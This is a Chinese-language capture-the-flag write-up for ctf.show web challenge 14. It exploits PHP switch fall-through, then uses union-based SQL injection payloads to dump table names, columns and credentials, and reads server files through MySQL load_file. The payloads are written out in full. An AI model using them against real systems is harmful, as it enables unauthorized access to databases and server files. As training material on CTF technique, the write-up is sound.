ctf.show WEB模塊第14關是一個SQL注入漏洞, 繞過switch回圈后可以拿到一個登錄界面, 登錄界面存在SQL注入, 脫庫以后會提示flag在另一個檔案中, 利用資料庫的檔案讀寫功能讀取檔案內容即可拿到flag

開局是一個switch回圈, 需要傳遞引數 c, 引數對應的執行結果有四種: '$url', '@A@', $url, "$url" ; 前兩個是字串, 沒啥用, 作者的目的應該是想讓我們輸出后兩個 $url 的其中一個, 但輸出之前還有個sleep(), 選的不合適就會睡眠很長時間, 這里我們傳遞一個 3即可
首先科普一個PHP的特性: 單引號包裹的內容只能當做純字串, 而雙引號包裹的內容, 可以識別變數, 所以原始碼中的 "$url" 可以當做 $url 變數被正常執行
switch回圈有一個特點, 如果 case條件對應的代碼體中沒有 break或者其他回圈控制的關鍵字, 則會繼續執行下一個 case條件的代碼, 這里我們傳遞 3, echo '@A@' 以后, 會繼續執行 case 6000000 對應的 echo "$url"
?c=3

回傳了一個檔案, 很明顯線索就在這里, 接下來我們訪問一下這個檔案

是一個登錄界面, 盲猜存在SQL注入漏洞, 先給個true, 使SQL恒成立, 頁面正常顯示

再給個false, 使SQL恒不成立, 頁面空顯示 
由以上結果可以確定存在SQL注入漏洞, 注入點為數值型注入, 頁面有回顯, 推薦使用聯合注入
獲取當前使用的資料庫

獲取表
-1/**/union/**/select/**/group_concat(table_name)from/**/information_schema.`tables`/**/where/**/table_schema=database()

獲取欄位
-1/**/union/**/select/**/group_concat(column_name)from/**/information_schema.`columns`/**/where/**/table_name='content'

獲取資料
-1/**/union/**/select/**/group_concat(username,password)from/**/content

??? 一個秘密??? 不講武德, 提示秘密里面有一個秘密( secret), 結合開頭 switch回圈頁面中引入了一個 secret.php, 線索應該就在 secret.php 里面

先訪問一下 secret.php 檔案, 可以正常訪問, 沒有報404, 說明這個檔案確實存在, 而且就在根目錄下, apache的默認網站根路徑是 /var/www/html, 我們試一下讀這個檔案的內容

利用資料庫的檔案讀寫功能讀取檔案內容
-1/**/union/**/select/**/load_file('/var/www/html/secret.php')
頁面并沒有反應, 用代理工具( BrupSuite)抓包試試

可以看到檔案的內容, 里面并沒有flag, 而是提供了一個新的線索, 接下來我們根據提示讀取 /real_flag_is_here
成功獲取flag

轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/298305.html
標籤:其他
